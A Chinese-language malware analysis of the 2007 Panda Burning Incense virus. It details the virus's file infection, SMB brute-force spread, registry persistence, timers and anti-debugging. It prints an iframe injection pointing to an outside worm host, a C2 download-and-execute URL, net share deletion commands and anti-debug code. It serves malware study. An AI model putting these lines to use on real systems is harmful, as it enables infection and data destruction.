熊猫烧香病毒逆向分析:Delphi 6.0 程序 3 大核心模块与 4 个计时器行为详解
熊猫烧香病毒逆向工程深度解析Delphi 6.0下的模块化架构与定时触发机制2007年初一只熊猫席卷了中国互联网。这只举着三炷香的熊猫图标背后隐藏着一个精巧设计的恶意程序架构。作为中国网络安全史上具有里程碑意义的恶意软件熊猫烧香病毒展现出了惊人的传播能力和破坏性。本文将采用逆向工程的视角深入剖析这款用Delphi 6.0编写的病毒样本揭示其模块化设计思想和多线程计时器机制的实现细节。1. 病毒基础架构与Delphi特性分析熊猫烧香病毒采用典型的模块化设计整个程序可划分为三个核心功能组件感染模块、传播模块和持久化模块。这种架构设计使得病毒能够高效执行各类恶意行为同时保持代码的可维护性和扩展性。Delphi编译器的独特特征在逆向分析过程中尤为明显。与常见的C程序不同Delphi采用寄存器传参的调用约定// Delphi典型函数调用示例 mov eax, param1 // 第一个参数放入eax mov edx, param2 // 第二个参数放入edx mov ecx, param3 // 第三个参数放入ecx call sub_403C98 // 调用函数这种传参方式给逆向分析带来了特殊挑战。在IDA Pro中观察到的函数调用往往缺少明显的参数传递痕迹需要结合动态调试才能准确理解函数功能。病毒初始化阶段包含几个关键操作内存空间分配LocalAlloc调用字符串解密操作XOR循环自校验机制字符串比较特别值得注意的是病毒采用的双层密钥校验机制第一层密钥xboy解密出武汉男生感染下载者第二层密钥whboy武汉男孩的拼音缩写这种设计既是对作者身份的标识也是一种简单的反分析手段。在动态调试过程中我们可以在0x004053CC地址处设置断点观察字符串解密的完整过程。2. 三大核心模块实现原理2.1 感染模块工作机制感染模块是病毒最具破坏性的部分其工作流程可分为四个阶段文件遍历阶段调用GetDriveType从A:到Z:遍历所有可用驱动器使用FindFirstFile/FindNextFile组合搜索目标文件文件类型识别阶段cmp [file_extension], GHO ; 系统备份文件 je DELETE_FILE cmp [file_extension], EXE ; 可执行文件 je INFECT_FILE cmp [file_extension], HTML ; 网页文件 je INJECT_CODE感染执行阶段对于可执行文件检查WhBoy感染标记→修改文件属性→覆盖写入病毒代码对于网页文件追加iframe srchttp://www.krvkr.com/worm.htm width0 height0自我保护阶段修改注册表隐藏系统文件CheckedValue1删除安全软件的启动项和服务该模块特别针对.gho备份文件进行删除操作这是其破坏性的重要体现——阻止系统恢复的可能性。在逆向过程中可以在0x0040BB5C地址处观察到完整的文件操作逻辑。2.2 传播模块网络行为传播模块实现了局域网和互联网两个层面的扩散能力局域网传播机制通过139/445端口尝试SMB连接使用预置的弱密码字典进行暴力破解常见密码包括admin、123456、password等成功连接后复制病毒本体并执行互联网传播机制定时访问C2服务器http://wangma.9966.org/down.txt下载并执行恶意payload通过感染的网页文件进行二次传播网络行为分析中Process Monitor可捕获到以下关键事件TCP连接建立目标端口139/445注册表查询HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters文件创建\Windows\system32\drivers\spoclsv.exe2.3 持久化模块实现持久化模块确保病毒能够在系统重启后继续存活主要手段包括持久化方法实现细节注册表位置启动项添加创建spoclsv.exe副本HKCU\Software\Microsoft\Windows\CurrentVersion\Run文件关联劫持修改.exe文件默认打开方式HKCR\exefile\shell\open\command服务安装创建伪系统服务HKLM\SYSTEM\CurrentControlSet\Services隐藏属性设置修改文件系统属性通过SetFileAttributesA实现该模块还包含对抗安全分析的功能禁用任务管理器修改注册表DisableTaskMgr关闭安全软件进程通过EnumProcesses和TerminateProcess阻止注册表编辑器运行重命名regedit.exe在逆向分析时可以在0x0040CC40地址处观察到完整的持久化代码逻辑其中注册表操作主要通过以下API序列实现RegCreateKeyExA → RegSetValueExA → RegCloseKey3. 多计时器调度系统分析熊猫烧香病毒采用了精密的计时器系统来协调各种恶意行为四个主要计时器构成了其心跳机制3.1 实时防护破坏计时器间隔1秒创建专用线程枚举并终止安全软件进程关键函数调用流程call CreateToolhelp32Snapshot call Process32FirstW call lstrcmpiW ; 比对进程名 call TerminateProcess同时禁用系统管理工具taskmgr.exe, regedit.exe等3.2 远程控制计时器间隔20分钟从C2服务器下载新指令网络通信流程InternetOpenA初始化InternetOpenUrlA获取down.txtInternetReadFile读取内容WinExec执行下载的脚本3.3 共享清除计时器间隔10秒执行cmd命令删除网络共享net share C$ /delete net share D$ /delete通过CreateProcessA启动cmd.exe执行命令3.4 深度持久化计时器间隔6秒检查自身副本是否存在验证注册表启动项完整性修复可能被安全软件破坏的组件计时器系统的实现依赖于Delphi的TTimer组件在逆向代码中表现为对SetTimer的调用。每个计时器回调函数都经过精心设计确保即使某个线程被终止其他功能仍能继续运行。4. 逆向工程实战技巧分析熊猫烧香这类多线程恶意软件时传统的静态分析方法往往力不从心。以下是几个实用的逆向技巧4.1 动态调试策略关键断点设置计时器回调入口点如0x0040BB5C文件操作相关APICreateFileA, WriteFile注册表操作序列RegOpenKeyExA, RegSetValueExA线程控制技巧# IDAPython脚本示例标记所有计时器回调函数 for addr in [0x0040BB5C, 0x0040BC20, 0x0040BD00, 0x0040BE10]: set_name(addr, TimerCallback_%X % addr) add_bpt(addr)4.2 Delphi程序特有模式识别异常处理框架Delphi使用特殊的SEH结构在IDA中识别为__InitExceptBlockLDTC字符串操作特征频繁使用MOVSB/STOSB指令字符串长度通常存储在ECX寄存器类方法调用通过EAX传递this指针调用前会有mov eax, [ebpvar_XX]操作4.3 对抗反分析技术熊猫烧香采用了几种简单的反调试手段时间差检测call GetTickCount mov [ebpvar_4], eax ; 执行一些操作 call GetTickCount sub eax, [ebpvar_4] cmp eax, 1000 ; 如果执行时间过长可能是单步调试 jg AntiDebug进程枚举检查查找ollydbg.exe、idaq.exe等进程名使用CreateToolhelp32Snapshot遍历进程列表调试寄存器检测mov eax, [fs:30h] ; PEB mov al, [eax2] ; BeingDebugged test al, al jnz DebuggerFound在实际分析中可以通过修改关键跳转或NOP掉检测代码来绕过这些保护。例如将0x004053E8处的JNZ指令改为NOP可以跳过重要的解密检查。熊猫烧香病毒虽然技术层面不算复杂但其模块化设计和多线程实现方式为后续恶意软件提供了参考模板。通过逆向分析这类历史样本安全研究人员能够更好地理解恶意软件的演化趋势为现代威胁检测提供思路。在分析过程中结合静态反汇编与动态调试逐步构建出完整的病毒行为画像这种分析方法至今仍是恶意软件研究的核心方法之一。